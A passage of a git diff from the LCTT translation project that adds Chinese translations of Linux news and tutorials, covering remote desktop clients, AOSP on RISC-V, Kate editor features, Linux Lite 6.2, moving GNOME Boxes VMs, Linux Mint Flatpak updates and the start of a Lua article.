https://opensource.com/sites/default/files/2022-10/winscp.loginwindow.png +[4]: https://opensource.com/sites/default/files/2022-10/WinSCPwindow.showing.IPinfo.png +[5]: https://opensource.com/sites/default/files/2022-10/WinSCP.drapdropwindow.png +[6]: https://opensource.com/sites/default/files/2022-10/RightclickUploadfileWInSCP.png +[7]: https://www.redhat.com/en/topics/edge-computing/what-is-edge-computing?intcmp=7013a000002qLH8AAM +[0]: https://img.linux.net.cn/data/attachment/album/202211/28/092919hf6y9ojjlmmsfmlm.jpg \ No newline at end of file diff --git a/published/202211/20221101.10 ⭐️⭐️ Best Remote Desktop Clients for Ubuntu and Other Linux [2022].md b/published/202211/20221101.10 ⭐️⭐️ Best Remote Desktop Clients for Ubuntu and Other Linux [2022].md new file mode 100644 index 0000000000..a3d0cdfbe6 --- /dev/null +++ b/published/202211/20221101.10 ⭐️⭐️ Best Remote Desktop Clients for Ubuntu and Other Linux [2022].md @@ -0,0 +1,199 @@ +[#]: subject: "Best Remote Desktop Clients for Ubuntu and Other Linux [2022]" +[#]: via: "https://www.debugpoint.com/best-remote-desktop-clients-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15291-1.html" + +最佳 Linux 远程桌面客户端 +====== + +![][0] + +> 一个适用于 Ubuntu 和其他 Linux 发行版的最佳远程桌面客户端的列表。 + +远程桌面客户端允许你连接到任何其他桌面/服务器,并远程执行任务。它是一种重要的 IT 支持和商业用例。在 Linux 中,有许多远程桌面客户端可用。其中一些是免费的,而另一些是付费版本。所有这些客户端都支持流行的 远程桌面协议Remote Desktop Protocol(RDP),如 VNC、RDP 等等。 + +本文将介绍一些适用于 Ubuntu 和其他发行版的最佳免费远程桌面客户端。该列表包括自由开源的应用程序,以及一些免费使用但专有的应用程序。 + +注意:你的目标系统中需要一个远程桌面服务器(如 Xrdp)来成功建立远程连接。然后你才能使用以下应用程序进行连接。这是一个双向的过程。如果你想了解更多的情况,请参考我们的一个案例研究: + +> **[通过 RDP 从 Windows 连接到 Ubuntu][1]** + +### 适用于 Linux 的最佳远程桌面客户端 + +#### GNOME Connections + +![GNOME 连接][2] + +第一个远程桌面客户端是一个原生的 [GNOME 应用程序][3]:GNOME 连接Connections 应用。这个基于 GTK 的应用程序带来了一个简单的用户界面。它是一个非常适合初学者的应用程序。它可以在一分钟内快速设置和连接(如果你知道 IP 和其他细节)。 + +此外,它还提供了清晰的指示,说明你是要连接到 Linux 还是 Windows。GNOME 连接应用支持 VNC(针对 Linux)和 RDP(针对 Windows)协议。 + +用 Flatpak 安装这个应用程序超级简单。[设置你的系统以使用 Flatpak][7],并使用以下命令进行安装: + +``` +flatpak install flathub org.gnome.Connections +``` + +更多信息: + +- [源代码和主页][4] + +#### KRDC + +![KRDC][5] + +下一个应用程序是 KRDC,这是一个 [KDE 应用程序][6],允许你查看和控制另一台机器上的远程桌面会话。它支持 VNC 和 RDP 协议。你还可以控制分辨率和设置密码;当然,它与你的 Plasma 桌面整合得很好。 + +所以,如果你正在寻找一个原生的 KDE 远程桌面应用程序,那就是它。对于 KDE Plasma 桌面,它应该是默认安装的。 + +如果没有,理想的方法是使用 Flatpak 来安装它。[设置你的系统以使用 Flatpak][7],然后使用下面的命令来安装: + +``` +flatpak install flathub org.kde.krdc +``` + +更多信息: + +- [主页][8] +- [文档][9] +- [源代码][10] + +#### Remmina + +![Remmina 远程桌面客户端][11] + +Remmina 是 Linux 系统中最古老的远程桌面客户端之一。可能是你有需要时的“首选”客户端。这个自由开源的应用程序可用于 Linux,也可用于 macOS。它支持许多远程协议,如 RDP、VNC、NX、X2GO、SPICE、HTTPS 和 SSH。 + +此外,它的用户界面简单而厚重,而且在开发和错误修复方面超级活跃。 + +这个应用程序已经在所有主要发行版的软件库中。你可以在 Ubuntu 的软件应用中搜索 “remmina”,或在其他发行版的相关应用中搜索。然后点击安装即可。 + +此外,你也可以 [为 Flatpak 设置你的系统][7],用下面的命令以 Flatpak 安装: + +``` +flatpak install flathub org.remmina.Remmina +``` + +更多信息: + +- [主页][12] +- [源代码][13] + +#### TigerVNC + +TigerVNC 是一个自由开源的“平台中立”的 VNC(虚拟网络计算Virtual Network Computing)协议的实现,带有客户端和服务器包。当有高性能需求时,你可以使用这个远程桌面,因为它在远程连接的 3D/视频数据方面效果最好,经过了优化。 + +此外,它仍然提供了一个 32 位的安装程序,以及通常的 64 位程序和命令行界面。TigerVNC 的客户端程序名称是 `vncviewer`,请 [参考这里][14] 的各种选项。 + +你可以从 [Sourceforge 页面][15] 获得预编译的 deb 和 RPM 包。 + +更多信息: + +- [主页][16] +- [文档][17] +- [源代码][18] + +#### X2Go + +![X2Go][19] + +[X2Go][20] 是一个基于 Linux 的远程桌面软件,基于 NX 技术,由 NoMachine 开发。它是一个客户端和服务器包的集合,使你能够通过代理连接到远程机器。 + +对于远程客户端部分,它有两种选择。你可以使用 X2Go 客户端或 Pyhoca-GUI(基于 Python)。所有这些都被捆绑在一起,放在 Linux 的存储库中。此外,所有的组件也可用于 Windows 和 macOS。 + +你可以从以下页面下载该软件的客户端和服务器部分: + +[下载 X2Go][31] + +#### Chrome 远程桌面 + +![Chrome 远程桌面][21] + +如果你喜欢通过网页浏览器进行远程连接,或者在安装 RDP 服务器时遇到了限制,你可以尝试通过 Chrome 浏览器进行远程连接。 + +Chrome 远程桌面Chrome Remote Desktop 服务是由谷歌创建的,可以通过互联网使用。这项服务通过 WebRTC 协议在浏览器上运行,并使用一些专有技术。 + +一旦启动,就会从主机上下载一个服务器组件,并使用 Chrome 来提供功能。而在客户机上使用 Chrome 浏览器扩展来启用你的远程连接。 + +你可以打开以下网址,通过 Chrome 和支持 WebRTC 的浏览器访问这项服务。 + +> **[https://remotedesktop.google.com/][22]** + +此外,它为远程查看你的系统提供了一个基于 PIN 的即时认证机制。而且它限制只能被最多 100 个客户端使用。 + +### 更多的远程客户端 + +上面的列表应该足以满足大多数常见的使用情况。然而,如果你仍然渴望得到更多的远程桌面客户端,这里是我为你准备的一个列表,并简要介绍了它们的性质。 + +#### 自由开源的 + +- [TurboVNC][23](自由开源) +- [UltraVNC][24](自由开源) +- FreeRDP(免费开源 + 需要编译 + 支持 Wayland) + +#### 商业闭源,需要许可证才能使用 + +- [Thincast][25] (免费使用;Flatpak 软件包;可用于树莓派;闭源和专有许可证) +- [NoMachine][26] (个人免费使用;商业付费;流行,可用于 Linux、Windows、macOS、树莓派) +- [AnyDesk][27] (个人免费;企业付费;闭源) +- [VNC Connect][28] (付费;闭源) +- [TightVNC][29] (需要带有电子邮件地址的许可证才能在 Linux 中使用) +- [itopia][30] (免费,有试用版;Flatpak) + +### 总结 + +本文列出了一些适用于 Ubuntu 和其他 Linux 发行版的最新远程桌面客户端。其中一些是免费的,而且很容易使用。你可以将它们用于远程支持、学习和其他使用情况。此外,我还提到了基于 WebRTC 的远程服务,除了浏览器扩展,不需要任何安装。 + +此外,为了大家方便,我也提到了一些商业的。因为如果你是一个中小型企业,你可能想看看有支持的付费版本应用程序。 + +最后,哪一个远程客户端软件是你的 “首选” 应用程序?请在下面的评论栏里告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/best-remote-desktop-clients-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/connect-ubuntu-20-04-windows-10/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/11/GNOME-Connections.jpg +[3]: https://www.debugpoint.com/best-gnome-apps-part-1/ +[4]: https://gitlab.gnome.org/GNOME/connections +[5]: https://www.debugpoint.com/wp-content/uploads/2022/11/KRDC.jpg +[6]: https://www.debugpoint.com/best-kde-apps-part-1/ +[7]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[8]: https://apps.kde.org/krdc/ +[9]: https://docs.kde.org/?application=krdc +[10]: https://invent.kde.org/network/krdc +[11]: https://www.debugpoint.com/wp-content/uploads/2020/03/Remmina.png +[12]: https://remmina.org/ +[13]: https://gitlab.com/Remmina/Remmina +[14]: https://tigervnc.org/doc/vncviewer.html +[15]: https://sourceforge.net/projects/tigervnc/files/stable/ +[16]: https://tigervnc.org/ +[17]: https://github.com/TigerVNC/tigervnc/wiki +[18]: https://github.com/TigerVNC/tigervnc/releases +[19]: https://www.debugpoint.com/wp-content/uploads/2020/03/X2Go.jpg +[20]: https://wiki.x2go.org/doku.php/download:start +[21]: https://www.debugpoint.com/wp-content/uploads/2020/03/Chrome-Remote-Desktop.png +[22]: https://remotedesktop.google.com/ +[23]: https://www.turbovnc.org/ +[24]: https://www.uvnc.com/ +[25]: https://thincast.com/ +[26]: https://www.nomachine.com/ +[27]: https://anydesk.com/ +[28]: https://www.realvnc.com/en/connect/ +[29]: https://www.tightvnc.com/ +[30]: https://itopia.com/ +[31]: https://wiki.x2go.org/doku.php/download:start +[0]: https://img.linux.net.cn/data/attachment/album/202211/26/113747n4iymaq6afri2fqq.jpg \ No newline at end of file diff --git a/published/202211/20221101.3 ⭐️ The Android Open Source Project Is Now RISC-V Compatible.md b/published/202211/20221101.3 ⭐️ The Android Open Source Project Is Now RISC-V Compatible.md new file mode 100644 index 0000000000..145bf40640 --- /dev/null +++ b/published/202211/20221101.3 ⭐️ The Android Open Source Project Is Now RISC-V Compatible.md @@ -0,0 +1,38 @@ +[#]: subject: "The Android Open Source Project Is Now RISC-V Compatible" +[#]: via: "https://www.opensourceforu.com/2022/11/the-android-open-source-project-is-now-risc-v-compatible/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15221-1.html" + +安卓开源项目(AOSP)现在兼容 RISC-V 了 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/06/091143bfvf3wz0sluua229.jpg) + +> 安卓的一个重要进展是将安卓开源项目Android Open Source Project(AOSP)移植到 RISC-V 处理器架构。 + +AOSP 已经开始在上游启用 RISC-V,这将促进 RISC-V CPU 在可穿戴设备、物联网,以及最终在智能手机和笔记本电脑中的使用。 + +为了开放生态系统,中国科学院 PLCT 实验室的工程师和软件开发人员在 2020 年开始将 Android 10 移植到 RISC-V 架构上。阿里巴巴的云计算部门和平头哥芯片子公司一起努力保持开发与最新的安卓版本同步。 + +“我们很高兴看到谷歌对构建针对 RISC-V 的 AOSP 的更多支持!阿里云一直致力于通过一系列的创新来支持 RISC-V 社区的发展,比如将安卓的基本功能移植到 RISC-V 上,这证明了在从多媒体到信号处理、设备互联和人工智能等场景中使用基于 RISC-V 的设备的可行性。”阿里云生态系统总监、RISC-V 国际组织的应用与工具水平委员会副主席 David Chen 博士说:“我们期待着与安卓团队合作,为繁荣的 RISC-V 社区做出贡献。” + +通过增强 RISC-V 上的安卓系统的基本功能,在 2021 年,阿里云的专家们付出了巨大的努力,积极推动了软件生态系统的发展。 RISC-V on Android 的工作集中在 RISC-V Android 工作组和软件库中进行。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/11/the-android-open-source-project-is-now-risc-v-compatible/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/11/android-696x364.jpg diff --git a/published/202211/20221101.4 ⭐️⭐️ Kate Editor is Getting Four New Awesome Features.md b/published/202211/20221101.4 ⭐️⭐️ Kate Editor is Getting Four New Awesome Features.md new file mode 100644 index 0000000000..a7e33280c5 --- /dev/null +++ b/published/202211/20221101.4 ⭐️⭐️ Kate Editor is Getting Four New Awesome Features.md @@ -0,0 +1,106 @@ +[#]: subject: "Kate Editor is Getting Four New Awesome Features" +[#]: via: "https://news.itsfoss.com/kate-editor-22-12-features/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15239-1.html" + +Kate 文本编辑器增加了四个非常棒的新功能 +====== + +> 这个由 KDE 开发的功能丰富的文本编辑器正在变得更好和更有用! + +![Kate 文本编辑器获得了四个非常棒的新功能][1] + +[Kate 文本编辑器][2] 是一个不断发展和强大的开源文本编辑器,它可以作为微软的 Visual Studio Code 应用程序的替代品。 + +它可以在 Linux、Windows 和 macOS 上使用。 + +这个代码编辑器在 2021 年进行了重大升级,这可能使它成为了 KDE 对微软产品的回应。 + +在即将到来的 Kate 和 KWrite 22.12 版本上,他们的目标是添加许多非常有用的功能。 + +来简单看看我们可以从 Kate 中期待什么。 + +### 🆕 Kate Editor 的新增功能 + +如果你读了 [Nate 的博客][3] 了解 KDE 的改进,你可能已经知道了 KDE Plasma 和应用程序即将获得的升级。 + +但是,我想强调一些 Kate 22.12 将会带来的令人激动的新功能: + +- 对 Qt 部件的支持 +- 更新的欢迎页面 +- Git 差异查看器 +- 配置标签页 +- 剪切板历史 + +#### 欢迎页面 + +![kate 22.12 欢迎页面][4] + +和许多其他 [KDE 应用程序][6] 一样,Kate 现在将显示一个欢迎页面,该页面将欢迎用户并显示创建或打开文件、启动新会话、查看最近的文档等选项。 + +对于不喜欢这个页面的用户,欢迎页面上将提供一个选项,以在新窗口上禁用欢迎页面。 + +#### Git 差异查看器 + +![kate 22.12 git 差异支持][6] + +Kate 终于增加了对显示 git-diff 的支持;用户将能够比较他们的代码以检查差异,并找到那些令人讨厌的、会导致他们的应用程序无法正常运行错误。 + +用户也可以从多种视图中进行选择,例如统一视图、并排视图和原始视图。 + +#### 新的剪贴板历史粘贴对话框 + +![kate 22.12 剪贴板历史][7] + +Kate 现在添加了一个新的对话框,在粘贴的时候显示用户剪贴板内容的列表。 + +当你在多行代码之间切换,而又不想丢失重要的内容时,这可能会很有用。 + +#### 配置标签页 + +![kate 22.12 配置标签页][8] + +Kate 也将添加一个配置标签页,让用户可以更改重要的设置,并添加了一个搜索栏,使用户可以快速查找特定的设置。 + +#### 🛠️ 其他变更和改进 + +Kate 22.12 将带来的其他值得注意的改进包括: + +- 优化的状态栏 +- 对构建插件的改进 +- 可移动的侧边栏按钮 +- 对窗口处理的改进 + +Kate 正在成为微软的 [Visual Studio Code][9] 的合适替代品,并且自 2021 年大规模重构以来已经取得了很大的进步。 + +在 Kate 的 [官方博客文章][10] 中,你可以了解更多关于这些变化的信息,并看看它们实际是怎么工作的。 + +💬 你期待 Kate 22.12 的发布吗?还是更喜欢 VS Code? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/kate-editor-22-12-features/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/11/kate-4-new-features.jpg +[2]: https://kate-editor.org/ +[3]: https://pointieststick.com +[4]: https://news.itsfoss.com/content/images/2022/11/Kate_22.12_Welcome.png +[5]: https://apps.kde.org/ +[6]: https://news.itsfoss.com/content/images/2022/11/Kate_22.12_GitDiff-1.png +[7]: https://news.itsfoss.com/content/images/2022/11/Kate_22.12_Clipboard_Hist-1.png +[8]: https://news.itsfoss.com/content/images/2022/11/Kate_22.12_Config-1.png +[9]: https://code.visualstudio.com/ +[10]: https://kate-editor.org/post/2022/2022-10-31-treats-for-kate/ diff --git a/published/202211/20221101.5 ⭐️ Linux Lite 6.2 Released.md b/published/202211/20221101.5 ⭐️ Linux Lite 6.2 Released.md new file mode 100644 index 0000000000..41d9e03f2f --- /dev/null +++ b/published/202211/20221101.5 ⭐️ Linux Lite 6.2 Released.md @@ -0,0 +1,108 @@ +[#]: subject: "Linux Lite 6.2 Released" +[#]: via: "https://news.itsfoss.com/linux-lite-6-2-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15212-1.html" + +Linux Lite 6.2 发布 +====== + +> Linux Lite 6.2 是一个理想的升级,带来一些有用的变化,没什么太花哨的东西。 + +![Linux Lite 6.2 Released][1] + +Linux Lite 是一种流行的轻量级的类 Windows 发行版,为用户提供了一个熟悉的操作系统感受。 + +最新版本 Linux Lite 6.2 基于 Ubuntu 22.04 LTS,对 UI 进行了各种更改以及各种错误的修复。 + +### Linux Lite 6.2:有什么新功能? + +![linux lite 6.2 desktop][2] + +此版本的 Linux Lite 侧重于用户界面调整和错误修复,并对一些应用程序进行了更改。 + +一些主要亮点包括: + +- 更新的图标 +- 新壁纸 +- Shotcut 视频编辑器 +- 删除微软 Teams +- LibreOffice 7.3.6.2 +- Linux 内核 5.15 + +#### Shotcut 取代 OpenShot + +![linux lite 6.2 shotcut video editor][3] + +是的,[Shotcut][4] 现在取代了 [OpenShot][5],成为 Linux Lite 6.2 上的默认视频编辑器。 + +OpenShot 之所以被删除,是因为它不能很好地与 Ubuntu 22.04 配合使用,而如果没有一个好用的视频编辑器,用户将不得不自己寻找一个。 + +Shotcut 无疑是一款出色的视频编辑器。所以,应该是一个不错的选择。 + +#### 微软 Teams 已删除 + +另一个重大变化是微软 Teams 不再包含在发行版中。 + +其原因是微软停止了 Linux 应用程序,转而支持一个渐进式 Web 应用程序版本。 + +我们之前的报道可以让你更深入地了解: + +> **[微软决定放弃 Teams 的 Linux 应用,代之以渐进式Web应用](https://news.itsfoss.com/microsoft-linux-app-retire/)** + +#### 更新的图标和新壁纸 + +![linux lite 6.2 new wallpapers][6] + +Linux Lite 6.2 具有最新的 [Papirus][7] 图标集以及一系列新的 Linux Lite 主题壁纸。 + +这应该会给发行版带来用户可能喜欢的焕然一新的外观。 + +#### 🛠️ 其他更改和改进 + +![][8] + +其他值得注意的变化包括: + +- 任务管理器的更新 +- 改进了 Lite 升级应用程序中的结束对话。 +- 各种应用程序的最新更新、错误修复等。 + +你可以阅读完整的发行说明以 [了解更多信息][9]。 + +Linux Lite 6.2 看起来是对以前版本的令人满意的升级,有许多重大的变化和补充。 + +### 📥 下载 Linux Lite 6.2 + +你可以从其官方网站下载最新的 ISO 或使用 Lite 升级工具升级到它。 + +> [Linux Lite 6.2][10] + +💬 你如何看待 Linux Lite 6.2?愿意试一试吗? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-lite-6-2-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/linux-lite-6.2.png +[2]: https://news.itsfoss.com/content/images/2022/10/Linux_Lite_6.2_Desktop.png +[3]: https://news.itsfoss.com/content/images/2022/10/Linux_Lite_6.2_Shotcut.png +[4]: https://shotcut.org/ +[5]: https://www.openshot.org/ +[6]: https://news.itsfoss.com/content/images/2022/10/Linux_Lite_6.2_Wallpapers.png +[7]: https://github.com/PapirusDevelopmentTeam/papirus-icon-theme +[8]: https://news.itsfoss.com/content/images/2022/11/lite-upgrade.png +[9]: https://www.linuxliteos.com/forums/release-announcements/linux-lite-6-2-final-released/ +[10]: https://www.linuxliteos.com/download.php diff --git a/published/202211/20221101.7 ⭐️ Move Virtual Machine Image to Another Host Using GNOME Boxes.md b/published/202211/20221101.7 ⭐️ Move Virtual Machine Image to Another Host Using GNOME Boxes.md new file mode 100644 index 0000000000..c1f96d1ad9 --- /dev/null +++ b/published/202211/20221101.7 ⭐️ Move Virtual Machine Image to Another Host Using GNOME Boxes.md @@ -0,0 +1,86 @@ +[#]: subject: "Move Virtual Machine Image to Another Host Using GNOME Boxes" +[#]: via: "https://www.debugpoint.com/move-virtual-machine-image-another-host/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15244-1.html" + +使用 GNOME Boxes 将虚拟机镜像移动到另一台主机 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/12/113707ewb6ope663w86e5e.jpg) + +> 本指南介绍了使用 GNOME Boxes 将虚拟机镜像移动到另一台主机所需的步骤。 + +GNOME Boxes 是由 GNOME 项目创建的虚拟化程序。此程序用作 libvirt 的前端。libvirt 是用于管理平台虚拟化的开源 API、守护进程和管理工具。它支持不同的虚拟化技术,如 KVM、Xen、VMware ESXi、QEMU 等。 + +如果你想使用 GNOME Boxes 创建虚拟机,[请参阅本指南][1]。 + +在本教程中,我将解释如何将任何虚拟机镜像文件(已使用 GNOME Boxes 创建并运行)移动到不同的主机并运行它。 + +这样,你不再需要从操作系统重新安装虚拟机。此外,它是便携式的,你可以将虚拟机镜像放在 U 盘中。 + +### 如何使用 GNOME Boxes 将虚拟机镜像移动到另一台主机 + +我希望你已经在 GNOME Boxes 中创建了一个虚拟机。如果没有,请查看 [本指南][1]。 + +GNOME Boxes 和 [libvert][2] 使用以下目录存储虚拟机镜像和配置。如下所述,你需要仔细备份每个文件。 + +GNOME Boxes 将虚拟机的物理镜像(通常为数 GB 大小)保存在以下路径中。对于你的每个虚拟机,你都会在其中找到一个镜像。 + +``` +~/.local/share/gnome-boxes/images/ +``` + +![机器镜像][3] + +将图像文件复制到新主机的路径:`~/.local/share/gnome-boxes/images/`。 + +将 libvirt 的 XML 配置从以下路径复制到新主机的相同位置。 + +``` +~/.config/libvirt/qemu/ +``` + +![镜像 XML][4] + +在上述路径中,你应该会看到每个虚拟机的单独 xml 文件。复制你需要的那个。 + +在你当前的系统中打开以下文件。 + +``` +~/.config/gnome-boxes/sources/'QEMU Session' +``` + +复制属于你的虚拟机的部分(从 `[display` ... 到本部分的末尾)。你可以使用名称轻松找到它(看下面的 `last-seen-name`)。 + +![QEMU 会话文件][5] + +在另一台主机上打开相同的上述文件并将复制的内容附加到末尾。保存文件。 + +关闭新主机中的所有应用,包括 GNOME Boxes。 + +现在打开 GNOME Boxes,你应该会看到你的虚拟机和它的内容一起被移动到新主机中。 + +你现在可以拥有一个可以轻松携带和移动的便携式虚拟机。请记住,目标机器应该安装了 GNOME Boxes 才能完成这项工作。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/move-virtual-machine-image-another-host/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/2020/05/install-use-gnome-boxes/ +[2]: https://libvirt.org/ +[3]: https://www.debugpoint.com/wp-content/uploads/2020/06/Machine-Images.png +[4]: https://www.debugpoint.com/wp-content/uploads/2020/06/Image-XML.png +[5]: https://www.debugpoint.com/wp-content/uploads/2020/06/QEMU-Session-File.png diff --git a/published/202211/20221102.1 ⭐️ Linux Mint's Update Manager Now Supports Flatpak.md b/published/202211/20221102.1 ⭐️ Linux Mint's Update Manager Now Supports Flatpak.md new file mode 100644 index 0000000000..c961b20f61 --- /dev/null +++ b/published/202211/20221102.1 ⭐️ Linux Mint's Update Manager Now Supports Flatpak.md @@ -0,0 +1,92 @@ +[#]: subject: "Linux Mint's Update Manager Now Supports Flatpak" +[#]: via: "https://news.itsfoss.com/linux-mint-update-manager/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "qfzy1233" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15257-1.html" + +Linux Mint 的更新管理器现在支持 Flatpak +====== + +> Linux Mint 的更新管理器变得更有用了! + +![Linux Mint's Update Manager Now Supports Flatpak][1] + +Linux Mint 的更新管理器是该发行版的一个重要组成部分,它使新用户可以获得更为方便简易的体验。 + +最近的一次更新 Linux Mint 21 推出了许多改进,包括更新管理器对 Flatpak 的支持。 + +**你只需要更新你的系统就可以获得这些改进。** + +### ⭐ 更新管理器中支持 Flatpak + +![linux mint 21 flatpak support in update manager][2] + +是的,你没看错。这终于实现了。 + +Flatpak 支持已被添加到更新管理器中,用户只需单击几下就能更新 Flatpak 应用程序和运行时。 + +这将为进一步改善用户体验的统一更新体验提供了帮助。 + +这对新用户来说很有好处,他们不需要熟悉终端命令就能更新 Flatpak。此外,你不需要将 Flatpak 与软件中心集成(对于 GNOME 而言)。 + +换句话说,Linux Mint 团队增强了你使用 Flatpak 应用程序的体验。 + +**除了对 Flatpak 的支持,本次更新还包括对 Linux Mint 21 的更多增强,这是一个开箱即用的更新。** + +这些改进包括: + +### 对角栏的改进 + +![linux mint 21 updated corner bar][3] + +Linux Mint 21 中的 角栏Corner Bar 添加了两项新特性: + +- 能够在角栏设置左键点击和中键点击的动作;你可以配置它以显示桌面、工作区选择器或桌面。 +- 一个允许你将鼠标悬停在角栏上以显示桌面的新选项。 + +### Nemo 的更新 + +![linux mint 21 updated nemo file manager][4] + +Nemo 文件管理器做了一些调整;现在,当文件被选中时,只会高亮显示文件名,而不是图标和文件名。 + +**如果你还不知道**, 你也可以通过我们建议的一些调整来增强 Nemo 文件管理器的体验: + +> **[调整 Linux 中的 Nemo 文件管理器,让它更好用的 15 种方法](https://itsfoss.com/nemo-tweaks/)** + +此外,桌面图标被垂直翻转,桌面上下文菜单中添加了一个新的快捷方式,可以快速打开显示设置。 + +### 更少的密码提示 + +这是很多人可能喜欢的另一个用户体验调整。 + +当删除 Flatpak 或任何快捷方式或本地应用程序时,它将不再要求你输入密码。 + +类似地,在新立得(LCTT 译注:Linux 下的一个包管理工具)和更新管理器的情况下,将使用 pkexec 来记住密码。 + +这样,用户就不需要每次执行多个操作时都输入密码。 + +你可以浏览 [Linux Mint 月度博客][5] 以了解其它变化。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-mint-update-manager/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[qfzy1233](https://github.com/qfzy1233) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/11/mint-updater-tool-flatpak-support.png +[2]: https://news.itsfoss.com/content/images/2022/11/Linux_Mint_21_UM_FlatpakSupport.png +[3]: https://news.itsfoss.com/content/images/2022/11/Linux_Mint_21_CornerBar_Update.png +[4]: https://news.itsfoss.com/content/images/2022/11/Linux_Mint_21_Nemo_Updates.png +[5]: https://blog.linuxmint.com/?p=4424 +[6]: https://debugpointnews.com/linux-mint-update-flatpak/ diff --git a/published/202211/20221103.0 ⭐️⭐️ Is Lua worth learning.md b/published/202211/20221103.0 ⭐️⭐️ Is Lua worth learning.md new file mode 100644 index 0000000000..705e1d3780 --- /dev/null +++ b/published/202211/20221103.0 ⭐️⭐️ Is Lua worth learning.md @@ -0,0 +1,194 @@ +[#]: subject: "Is Lua worth learning?" +[#]: via: "https://opensource.com/article/22/11/lua-worth-learning" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "MuggleWei" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15243-1.html" + +Lua 值得学习吗? +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/12/111937y0kior1oyf44tttt.jpg) + +> Lua 是一个有趣而强大的语言,随着各个版本的推进,功能愈发的强大,开发者群体也在不断的增长。这篇文章我们将探索一下它的各种前景。 + +Lua 是一个脚本语言,它面向过程、函数式编程,甚至可以是 [面向对象的][1]。它使用类 C 语言的语法,但却是动态类型,具有自动内存管理和垃圾回收功能,使用基于寄存器的虚拟机来解释字节码。这些特点使得它对于初学者来说是个很好的语言,同时也是经验丰富的程序员的强大工具。 + +虽然与 [Python][2] 和 [JavaScript][3] 相比,Lua 现在已经有点儿黯然失色了,但是 Lua 拥有的一些优点使得它在许多的重大软件项目中很受欢迎。Lua 很容易嵌入到其他语言当中, 这意味着你可以在(例如)Java 编写的代码中包含 Lua 文件,就像原生的 Java 代码一样运行。这听起来就像魔法一般,现在有许多项目如 [luaj][4] 使得其成为可能,之所以可以实现,正是因为 Lua 就是为此而设计的。部分出于这种灵活性,你可以在许多游戏、图形应用的程序中发现 Lua 脚本的身影。 + +就像其他任何事情一样,做到完美是需要时间的,但 Lua 是很易于学习(并且有趣)的语言。它是一种一致的语言、一种带有有用的错误消息的友好的语言,并且可以在网上轻松找到许多有用的资料。那么就让我们开始吧! + +### 